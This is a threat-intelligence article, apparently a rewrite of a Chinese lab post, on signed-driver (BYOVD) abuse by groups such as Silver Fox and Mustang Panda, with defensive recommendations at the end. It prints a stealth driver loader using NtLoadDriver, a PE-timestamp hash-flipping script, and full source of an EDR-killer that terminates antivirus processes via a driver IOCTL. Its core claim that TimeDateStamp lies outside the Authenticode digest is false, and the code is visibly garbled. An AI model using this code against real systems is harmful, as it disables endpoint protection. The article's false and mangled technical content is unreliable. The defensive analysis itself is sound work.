BYOVD Attack Surface: From Vulnerability-Driven to Certificate Abuse

Executive Summary

Bring Your Own Vulnerable Driver (BYOVD) is not a new technique — offensive teams have been side-loading old signed drivers to gain Ring 0 capability for the better part of a decade. What changed between 2025 and 2026 is the centre of gravity of the attack. Attackers are no longer dependent on driver entries already enumerated in Microsoft’s Vulnerable Driver Blocklist. They are abusing freshly signed drivers that have never been flagged, signing brand-new malicious drivers with stolen-but-still-valid certificates, and flipping single bytes of the PE header to mint endless new file hashes for the same valid Authenticode signature. In short: the legitimate signature itself has become the primary attack surface, and the “V” in BYOVD increasingly refers to a vulnerability in Windows’ trust model rather than a CVE in the driver.

This article walks through the operational and technical mechanics behind that shift — Silver Fox APT’s dual-driver tax-themed campaigns, HoneyMyte / Mustang Panda’s signing of custom kernel minifilters with stolen certificates, the industrialisation of EDR-killer modules inside ransomware-as-a-service offerings, and Microsoft’s March 2026 decision to revoke trust in drivers issued through cross-signed legacy roots. It then closes with a hardening checklist for defenders who can no longer rely on hash blacklists or signature-equals-trust assumptions.

When Signatures Become the Attack Surface

The traditional definition of BYOVD — an attacker brings a known-vulnerable but legitimately-signed driver and abuses it to obtain kernel privileges — focuses too narrowly on the word “vulnerable.” The actual primitive being abused is the combination of a valid signature and an exploitable code path. Operators rarely write drivers themselves; they harvest older, signed builds from vendor websites, GitHub mirrors, and driver repositories that contain arbitrary-write or use-after-free flaws (historical drivers from hardware vendors such as ASUS and EVGA are recurring favourites).

The deeper assumption being exploited is more interesting. Windows’ driver trust model conflates “valid Authenticode signature” with “safe to run in Ring 0.” Because the carried driver bears a valid certificate, it loads even on systems with Secure Boot and Driver Signature Enforcement turned on. The kernel verifies cryptographic validity at load time; it does not — and structurally cannot — verify whether the driver’s behaviour is safe. That rupture between cryptographic trust and operational trust is BYOVD’s entire theoretical foundation: attackers do not need to defeat signature verification, they only need to find a signed driver and abuse its legitimate functionality.

BYOVD is widely deployed everywhere from ransomware operations to state-aligned espionage, yet most public sandboxes still inspect only user-mode behaviour — which means this kind of Ring 0 abuse routinely escapes detection.

Technical Foundation of Driver Signature Verification

To understand why BYOVD is so hard to eradicate, it helps to look at the verification chain itself. Kernel Mode Code Signing (KMCS), introduced from Vista onward, requires every kernel driver to carry a valid digital signature. The signing flow is the standard Authenticode chain: the driver’s PE file is hashed; that hash is encrypted with the issuer’s private key; at load time the loader checks the certificate chains to a trusted root CA, that the certificate is in date and not revoked, and that the current PE hash matches the encrypted hash inside the signature.

Crucially, signature verification only validates the cryptographic properties of the signature itself. It does not validate that the driver’s IRP_MJ_DEVICE_CONTROL handler is safe, or that the IOCTL surface the driver exposes is gated against unprivileged callers. A WHQL-signed hardware-monitoring driver enjoys exactly the same trust at the verification layer as a Microsoft-authored kernel module. That “manage signatures, ignore behaviour” model is precisely the structural opening BYOVD operates inside.

From Known Vulnerabilities to Legitimate Certificates

The paradigm shift occurred once attackers stopped settling for drivers already enumerated in Microsoft’s Vulnerable Driver Blocklist. Three trends, all observed between 2025 and 2026, mark the transition:

1. Weaponisation of previously-unreported signed drivers. The WatchDog anti-malware driver (amsdk.sys) abused by Silver Fox APT is the canonical example — it carried a valid Microsoft signature, had never been reported as vulnerable, and was absent from every public blocklist. Check Point Research first disclosed this activity in August 2025.
2. Independent abuse of legitimate certificates. HoneyMyte (Mustang Panda) used a 2015-vintage stolen certificate from Guangzhou Kingteller Technology to sign custom kernel-mode minifilters. Attackers no longer exploit vulnerable legitimate drivers — they exploit stolen or obsolete legitimate certificates to sign their own malicious drivers. In a February 2026 incident response Huntress observed attackers abusing a revoked Guidance Software (EnCase) forensic-driver certificate — revoked in 2010, yet Windows still loaded the driver.
3. Single-byte flips against hash blacklists. When WatchDog shipped a hardened version (1.1.100) with tighter DACLs, Silver Fox adapted by flipping a single byte of the driver’s timestamp field, preserving the Microsoft signature while producing a brand-new file hash — rendering hash-based blocklists irrelevant for that family.

Dual-Driver Strategy

Check Point Research’s August 2025 disclosure surfaced Silver Fox APT operating at scale against Microsoft-signed drivers. The group, which has evolved from economically-motivated cybercrime to APT-style tradecraft since 2024, deployed a sophisticated dual-driver scheme aligned to Windows versions: a known-vulnerable Zemana driver was used on Windows 7 systems, while previously-unreported WatchDog anti-malware drivers (amsdk.sys version 1.0.600) were dropped on Windows 10 and 11 systems.

To make either driver useful, the loader has to map it into the kernel. The typical methods are illustrated below — either a noisy sc.exe service registration, or a quieter programmatic approach that writes the service registry key directly and triggers the load through the undocumented NtLoadDriver syscall:

// 方法一：使用 SC 命令创建并启动内核服务
// sc.exe create MalDriver binPath= "C:pathtovuln.sys"type= kernel
// sc.exe start MalDriver

// 方法二：程序化加载驱动 —— 直接设置注册表并通过 NtLoadDriver 调用
#define SERVICE_NAME   L"SilentLoad"
#define DRIVER_PATH     L"\??\C:\Windows\System32\drivers\SilentLoad.sys"

#include <windows.h>
#include <winternl.h>

// NtLoadDriver 是未公开内核函数，需要手动定义
typedef NTSTATUS (NTAPI *pNtLoadDriver)(PUNICODE_STRING);
typedef NTSTATUS (NTAPI *pNtUnloadDriver)(PUNICODE_STRING);

BOOL LoadDriverStealth(LPCWSTR driverPath) {
    // 1. 创建服务注册表键
    HKEY hKey;
    LSTATUS status = RegCreateKeyExW(
        HKEY_LOCAL_MACHINE,
        L"SYSTEM\CurrentControlSet\Services\SilentLoad",
        0, NULL, REG_OPTION_NON_VOLATILE,
        KEY_ALL_ACCESS, NULL, &hKey, NULL
    );
if (status != ERROR_SUCCESS) return FALSE;

    // 2. 设置驱动路径、服务类型、启动类型
    RegSetValueExW(hKey, L"ImagePath", 0, REG_EXPAND_SZ,
        (BYTE*)DRIVER_PATH, wcslen(DRIVER_PATH) * 2 + 2);

    DWORD svcType = 1;      // SERVICE_KERNEL_DRIVER
    DWORD startType = 3;    // SERVICE_DEMAND_START
    RegSetValueExW(hKey, L"Type",       0, REG_DWORD, (BYTE*)&svcType,   4);
    RegSetValueExW(hKey, L"Start",      0, REG_DWORD, (BYTE*)&startType, 4);
    RegSetValueExW(hKey, L"ErrorControl", 0, REG_DWORD, (BYTE*)&svcType, 4);
    RegCloseKey(hKey);

    // 3. 通过 NtLoadDriver 静默加载（回避 SC 管理器告警）
    pNtLoadDriver NtLoadDriver = (pNtLoadDriver)GetProcAddress(
        GetModuleHandle(L"ntdll.dll"), "NtLoadDriver");

    UNICODE_STRING ustr;
    RtlInitUnicodeString(&ustr, L"\Registry\Machine\System\"
                               L"CurrentControlSet\Services\SilentLoad");
return NT_SUCCESS(NtLoadDriver(&ustr));
}

Both drivers grant the attacker arbitrary process termination and privilege elevation, completely dismantling endpoint protection at the kernel layer. The full chain is highly modular: initial access typically lands through phishing tied to enterprise tax processes — impersonated tax audit notices, fake tax-software installers, and cloud e-invoice download links. FortiGuard Labs reported multiple Taiwan-region intrusions in which the operators chained malicious LNK files, DLL side-loading, and BYOVD via the wsftprm.sys driver. Once endpoint protection is disabled, a monolithic loader installs ValleyRAT (also known as Winos 4.0) — a remote-access trojan that beacons to C2, executes commands, exfiltrates data, and ships with anti-VM and anti-sandbox checks.

Single-Byte Flip

WatchDog shipped a patched driver (1.1.100) shortly after vulnerability reports landed, hardening DACLs to restrict who could open the device. Silver Fox’s response caught defenders flat-footed: they modified a single byte in the driver’s TimeDateStamp field, retained the original Microsoft Authenticode signature, and generated an entirely new file hash.

The mechanic is elegant. Authenticode does include large portions of the PE in its hash, but several PE-header fields — including the COFF TimeDateStamp — are deliberately excluded from the signature digest so that tools like timestamping and incremental rebuilds do not invalidate signatures. The signature-verification logic is “valid certificate + matching signed digest,” not “has any byte of the PE changed.” Flip one bit at PE_HEADER.IMAGE_FILE_HEADER.TimeDateStamp and the file’s SHA-256 is now different while the embedded signature still verifies.

This is why hash-based driver blocklists are structurally fragile. The following Python script demonstrates the flip end-to-end — copy the input file, locate the COFF header via the DOS e_lfanew pointer, flip the low bit of TimeDateStamp, and write back. The resulting file passes signtool verify /pa while presenting a different hash to every blocklist:

#!/usr/bin/env python3
"""
sig_flip.py — 翻转 PE 时间戳的单个比特位
效果：修改文件 SHA-256 哈希，同时完整保留原始数字签名
原理：PE 头中的 TimeDateStamp 字段不在 Authenticode 签名哈希校验范围内
"""

import struct
import sys
import shutil

def flip_timestamp_byte(input_path, output_path):
"""翻转 PE 文件时间戳的最低有效字节"""
    shutil.copy2(input_path, output_path)

    with open(output_path, 'r+b') as f:
# 读取 DOS 头，定位 PE 签名偏移（e_lfanew 位于 0x3C）
        f.seek(0x3C)
        pe_offset = struct.unpack('<I', f.read(4))[0]

# PE 签名后紧跟 COFF 文件头，TimeDateStamp 位于 PE_SIGNATURE(4) + COFF(20) = +4
        timestamp_offset = pe_offset + 4 + 4  # +4 跳过 Signature, +4 跳过 Machine+NumberOfSections

        f.seek(timestamp_offset)
        timestamp = struct.unpack('<I', f.read(4))[0]

# 翻转最低有效位
        new_timestamp = timestamp ^ 0x01

        f.seek(timestamp_offset)
        f.write(struct.pack('<I', new_timestamp))

print(f"[*] 原始时间戳: 0x{timestamp:08X}")
print(f"[*] 新时间戳:   0x{new_timestamp:08X}")
print(f"[*] 新文件已保存至: {output_path}")
print(f"[*] 请运行 signtool verify /pa {output_path} 验证签名")

if __name__ == '__main__':
if len(sys.argv) != 3:
print(f"用法: python {sys.argv[0]} <输入驱动.sys> <输出驱动.sys>")
        sys.exit(1)
    flip_timestamp_byte(sys.argv[1], sys.argv[2])

A single valid signature corresponds, in theory, to an unbounded set of file-hash variants — an attacker only has to find any modifiable field inside the signature coverage region to mint new hashes without breaking the signature. This is the structural blind spot in Microsoft’s Vulnerable Driver Blocklist, formally documented in August 2025 as CVE-2025-59033: blocking driver entries in WDAC policy purely by signature-certificate TBS hash leaves bypass paths open.

Independent Certificate Abuse

HoneyMyte (Mustang Panda) opened a second pathway that does not rely on any known driver vulnerability. The group uses real code-signing certificates stolen from legitimate vendors to sign custom-written malicious drivers. The reported instance involved a 2015-expired stolen certificate from Guangzhou Kingteller Technology, used to sign a kernel-level minifilter that intercepted IRPs to inject the ToneShell backdoor.

This pathway is more destabilising than Silver Fox’s vulnerable-driver chain because it sidesteps every detection layer aimed at “known-vulnerable drivers.” The driver code is bespoke malware, but its signature traces back to a real-world legal entity, the certificate chain validates, the root CA is trusted, and the signature is cryptographically correct. The only defect is that the certificate expired in 2015 — and as Huntress’s EnCase case demonstrated, Windows Driver Signature Enforcement has structural gaps around the handling of expired and revoked certificates.

Ransomware-Industry EDR-Killer Industrialisation

Inside the ransomware-as-a-service (RaaS) economy, EDR-killer tooling has become a standardised component, decoupled from the encryption module so that each can evolve independently.

NimBlackout is a representative example — an EDR-killer implemented in Nim, where the compiled binaries are noticeably harder to reverse than equivalent C++ ports. The tool opens the BYOVD driver’s device, walks the process list, and sends a tightly-packed IOCTL carrying the target PID, which the kernel-mode driver then terminates via ZwTerminateProcess on behalf of the unprivileged caller:

# NimBlackout.nim —— 利用 BYOVD 终止 AV/EDR 进程（Nim 语言版本）
# 用法: nim c NimBlackout.nim && NimBlackout.exe MsMpEng.exe
# 需要 Blackout.sys 驱动文件位于当前目录

import os
import winim
import strformat

# 驱动设备名和 IOCTL 定义
const
    DEVICE_NAME = "\\.\Blackout"
    IOCTL_KILL  = 0x222004

proc killProcess(pid: DWORD): bool =
let hDevice = CreateFileW(
        DEVICE_NAME,
        GENERIC_READ or GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL
    )
if hDevice == INVALID_HANDLE_VALUE:
echo fmt"[-] 无法打开设备: {DEVICE_NAME}"
returnfalse

    var inBuf: array[4, byte]
    copyMem(addr inBuf[0], unsafeAddr pid, sizeof(DWORD))
    var bytesReturned: DWORD = 0

let result = DeviceIoControl(
        hDevice, IOCTL_KILL,
        addr inBuf[0], DWORD(sizeof(inBuf)),
        NULL, 0,
        addr bytesReturned, NULL
    )

    CloseHandle(hDevice)
return result != 0

proc main() =
if paramCount() < 1:
echo"用法: NimBlackout.exe <进程名>"
        quit(1)

let targetName = paramStr(1)
# 获取目标进程 PID
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    var pe32: PROCESSENTRY32W
    pe32.dwSize = DWORD(sizeof(PROCESSENTRY32W))

if Process32FirstW(snapshot, addr pe32):
whiletrue:
let name = $cast[PWSTR](addr pe32.szExeFile[0])
if name == targetName:
echo fmt"[+] 发现目标进程: {name} (PID: {pe32.th32ProcessID})"
if killProcess(pe32.th32ProcessID):
echo fmt"[+] 成功终止进程: {name}"
else:
echo fmt"[-] 终止失败: {name}"
if not Process32NextW(snapshot, addr pe32):
break

    CloseHandle(snapshot)

main()

ESET’s research surfaced sobering numbers: out of 90 detected EDR-killers, 54 leveraged BYOVD, collectively abusing 35 distinct vulnerable drivers. The tooling splits into three economic buckets: closed ransomware groups that keep their killers in-house (DeadLock, Warlock), opportunistic actors who fork existing PoCs (SmilingKiller, TfSysMon-Killer), and dark-web operators who sell killers as a service (DemoKiller, ABYSSWORKER).

The role of BYOVD inside the ransomware kill-chain is now standardised: it functions as the “security barrier removal” module before the encryption stage. Ransomware authors have a pragmatic dilemma — encryption is intrinsically noisy because it touches many files in a short window, and full evasion is not realistic. The natural solution is to treat EDR termination as an independent, replaceable component, leaving the encryption logic itself small, stable, and easy to re-author.

An early-2026 Huntress engagement illustrates how far this has gone. After obtaining initial access via leaked SonicWall SSLVPN credentials, the operators deployed an EDR-killer that abused the EnCase forensic driver. The binary masqueraded as a legitimate firmware-update tool, and it hid the embedded kernel driver using a 256-word dictionary cipher — each driver byte was substituted with an English word (for example, 0x00 → about, 0x4D → block, 0x5A → both). The 384,528-byte driver, encoded as space-separated English text, slid through static analysis as innocuous-looking strings.

From IOCTL to Trust Removal

Technically, BYOVD’s core trick is abuse of the IOCTL interface that a driver chooses to expose. Reverse-engineering work by the researcher core-jmp on a zero-day driver used to disable CrowdStrike Falcon illustrates the standard operational pattern.

Analysing the binary in IDA Pro, researchers bypassed an obfuscated entry point and zeroed in on the device-control handler. After cleaning up corrupted decompilation, a single dangerous IOCTL emerged: 0x22E010, which triggered a specialised process-termination routine. The driver accepted a process ID as a string, converted it to an integer using standard C library helpers, and dispatched a termination request.

The substantive danger is that the driver performs termination via the kernel-mode ZwOpenProcess / ZwTerminateProcess pair. From user mode, attempting to close a Protected Process Light (PPL) service like CrowdStrike immediately returns access-denied; from kernel mode, the same call sails through, because PPL is enforced for user-mode callers and bypassed by Ring 0 code by design.

The general pattern is bleak: legitimate drivers (anti-cheat, hardware monitoring, backup, forensics) routinely expose IOCTLs for memory read/write, process management, or register access. Those IOCTLs were designed for trusted administrator or service-account callers and almost never carry strict access control. Once an untrusted user-mode process can reach them, the driver’s legitimate kernel capability transparently becomes attack capability. This is not a “driver vulnerability” in the traditional sense — the driver behaves exactly as designed. The design itself simply did not anticipate hostile callers.

Facing the persistent escalation of BYOVD, Microsoft announced a policy change in March 2026 that is unusually far-reaching by Windows-platform standards: starting with April updates, Windows 11 (24H2 / 25H2 / 26H1) and Windows Server 2025 will, by default, remove trust in drivers issued through cross-signed legacy roots; all new kernel drivers must pass the Windows Hardware Compatibility Program (WHCP) certification process. To prevent breaking systems, Microsoft is currently recommending WDAC policies that block known-vulnerable drivers. The XML below sketches the structure of a WDAC denial policy based on the TBS hash of a signing certificate:

<!-- WDAC 策略 XML — 基于 TBS 哈希（证书指纹）阻止特定驱动程序 -->
<?xml version="1.0" encoding="utf-8"?>
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
  <VersionEx>1.0.0.0</VersionEx>
  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>

  <Rules>
    <Rule>
      <Option>Enabled:UnsignedSystemIntegrityPolicy</Option>
    </Rule>
    <Rule>
      <Option>Enabled:AdvancedBootOptionsMenu</Option>
    </Rule>
    <Rule>
      <Option>Enabled:AuditMode</Option>
    </Rule>
  </Rules>

  <!-- 基于签名证书的 TBS 哈希阻止易受攻击驱动 -->
  <Signers>
    <Signer ID="ID_SIGNER_VULN_DRIVER_1" Name="TPZ SOLUCOES DIGITAIS LTDA">
      <CertRoot Type="TBS" Value="A1B2C3D4E5F6..." />
    </Signer>
  </Signers>

  <!-- 明确拒绝列表 — 禁止加载 -->
  <SigningScenarios>
    <SigningScenario ID="ID_SIGNINGSCENARIO_DRIVERS"
                     FriendlyName="内核驱动程序签名方案"
                     Value="131">
      <ProductSigners>
        <DeniedSigners>
          <DeniedSigner SignerId="ID_SIGNER_VULN_DRIVER_1" />
        </DeniedSigners>
      </ProductSigners>
    </SigningScenario>
  </SigningScenarios>

  <!-- 更新策略 — 通过 Microsoft Symbol Server 推送更新 -->
  <UpdatePolicySigner
    SignerId="ID_SIGNER_MICROSOFT_UPDATE"
    CertRoot Type="TBS" Value="..." />
</SiPolicy>

The symbolic significance of this policy change outweighs its immediate defensive effect. Coverage is limited to drivers issued through legacy cross-signed roots; WHCP-certified drivers can still expose dangerous IOCTLs — they have simply gone through a more rigorous submission and testing pipeline, which is not a guarantee of safe runtime behaviour. And for the enormous installed base of legacy drivers already in enterprise environments, trust removal will produce compatibility breakage, which is why Microsoft must maintain explicit allowlists alongside the broader change.

BYOVD is hard to detect precisely because its behaviour lands in EDR blind spots. The attacker does not rely on classic process injection, user-mode hooking, or shellcode execution — they talk directly to the kernel through a driver-exposed IOCTL, sidestepping the entire user-mode telemetry stack. Once primitives are obtained, the operator can overwrite EPROCESS.Token for SYSTEM elevation, corrupt critical structures inside a target security process to crash it, and on HVCI-disabled systems achieve essentially invisible kernel control.

Quantifying the gap: EURECOM’s NDSS 2026 study analysed 8,779 malware samples that loaded 773 distinct signed drivers, flagged suspicious behaviour in 48 of them, and after manual verification responsibly disclosed 7 previously-unknown vulnerable drivers to Microsoft and to the vendors. The researchers proposed a virtualisation-based sandbox that traces every driver execution step from the originating user-mode request all the way down to the lowest-level kernel instructions, without requiring driver resigning or host modifications.

Deeper Meaning of the Paradigm Shift

Driver signatures were always expected to carry more security weight than their cryptographic meaning could support. A signature, in the strict sense, answers only “did the stated issuer publish this, and has it been tampered with since?” The Windows kernel loading model conflates that cryptographic property with “this driver may safely execute in kernel mode,” opening an enormous semantic gap inside trust transmission. By 2025, attackers had systematically learned to operate inside that gap. They no longer try to forge signatures, steal unrevoked certificates, or find code flaws — they operate within an entirely legitimate signing framework and acquire kernel privileges through it.

Microsoft’s cross-signed trust removal is the beginning of structural remediation, but the underlying driver-security challenge remains unsolved. A WHCP-certified driver can still expose a dangerous IOCTL and still be abused. Whenever kernel-mode code can be triggered, in any way, by user-mode callers for sensitive operations, BYOVD’s threat model remains valid.

Defensive strategy needs to shift in parallel: from hash-based driver blacklists to behaviour-based runtime monitoring, and from static signature verification to dynamic IOCTL-semantic analysis. The three-dimensional approach adopted by behaviour-based sandboxes — driver-load-event recognition, semantic analysis of anomalous kernel-memory operations, and correlation of unexpected antivirus-process termination — is a viable direction. The more fundamental fix is to redesign driver models themselves and extend least-privilege from user mode into kernel mode: an anti-cheat driver should not have arbitrary process-termination capability; a hardware-monitoring driver should not have arbitrary kernel-memory write capability.

Key Takeaways

• BYOVD’s centre of gravity moved from “known-vulnerable drivers” to “any signed driver with kernel privileges” — and increasingly to driver code the attacker wrote themselves and signed with someone else’s still-valid certificate.
• Authenticode is a cryptographic property, not a behavioural one; conflating “valid signature” with “safe to load in Ring 0” is the architectural bug BYOVD exploits.
• Hash-based driver blocklists are fragile: a one-byte flip in the PE TimeDateStamp generates a new hash while preserving the original Microsoft signature (CVE-2025-59033).
• EDR-killer modules are now standardised, reusable components in the RaaS economy — ESET counted 90 distinct killers, 54 of them BYOVD-based, abusing 35 different vulnerable drivers.
• Microsoft’s March 2026 cross-signed trust removal is structural progress but narrow in scope: WHCP-certified drivers can still expose dangerous IOCTLs and remain abuse-eligible.
• The detection blind spot is real: EURECOM’s NDSS 2026 sandbox flagged 48 suspicious signed drivers across 773, surfacing 7 previously-unknown vulnerable drivers in a single study.

Defensive Recommendations

• Move from hash blocklists to certificate-TBS and behaviour-based blocking. Maintain WDAC policies that deny known-bad signers via TBS hash, and validate them in audit mode before enforcement. Treat hash entries as a tripwire, not a control.
• Enable HVCI / Memory Integrity wherever supported. Hypervisor-protected Code Integrity raises the cost of kernel-memory tampering primitives that BYOVD chains rely on, and it disables the most damaging exploitation steps even when the vulnerable driver loads.
• Monitor driver load events, not just process creation. Sysmon Event ID 6, Windows Defender ATP’s DeviceImageLoadEvents, and equivalent EDR telemetry give you the earliest credible BYOVD signal — an unfamiliar signed driver loading from a non-vendor path.
• Hunt for the user-mode “tells”. Operators routinely call NtLoadDriver on registry keys under HKLMSYSTEMCurrentControlSetServices they just created with non-standard image paths. Correlate transient service-registry writes with subsequent driver loads.
• Inventory and harden exposed IOCTLs. Audit anti-cheat, hardware-monitoring, backup, and forensic tooling deployed in your estate. Drivers that expose memory read/write or process termination IOCTLs to non-administrator callers should be uninstalled or restricted by access-control list.
• Detect PPL-protected process termination. Unexpected termination of MsMpEng.exe, CrowdStrike Falcon agents, SentinelOne, or other PPL services should generate a high-severity alert — absent operator action, that termination must have come from kernel mode.
• Adopt Microsoft’s cross-signed trust removal on a planned cadence. For Windows 11 24H2 / 25H2 / 26H1 and Windows Server 2025 fleets, plan compatibility testing for the April 2026 update wave and identify legacy drivers that need an explicit allowlist entry before enforcement lands.
• Block initial-access vectors used to deliver the loader. Tax-themed phishing, LNK files, DLL side-loading, and SSLVPN credential reuse are the recurring entry points in the campaigns described above — close those before the BYOVD module ever runs.

Conclusion

BYOVD in 2026 is no longer a niche post-exploitation trick, and it is no longer about “a CVE in a driver.” It is a deliberate exploitation of the gap between cryptographic trust and operational trust in the Windows kernel-driver model — a gap that Authenticode was never designed to close. Microsoft’s cross-signed trust removal is a meaningful first step, but the underlying problem — that a single legitimately-signed driver can be turned into a generic Ring 0 capability for whoever can reach its IOCTL surface — will outlive any individual blocklist update. Defenders need to shift from “is this driver allowed?” to “does this driver behave as designed for its claimed purpose?”, and that shift is going to take both new sandbox tooling and a deliberate redesign of how kernel-mode functionality is exposed to user-mode callers.

Original research and figures: “BYOVD宣击面从漏洞驱动到合法证书的范式转移” on Ghost Wolf Lab Research (2026-05-24). All technical claims, attribution to Silver Fox APT, HoneyMyte / Mustang Panda, Check Point, Huntress, ESET, FortiGuard Labs, EURECOM, and the “core-jmp” CrowdStrike-driver analysis are credited to the original publication. This English rewrite is provided for technical commentary and education and does not reproduce the source verbatim.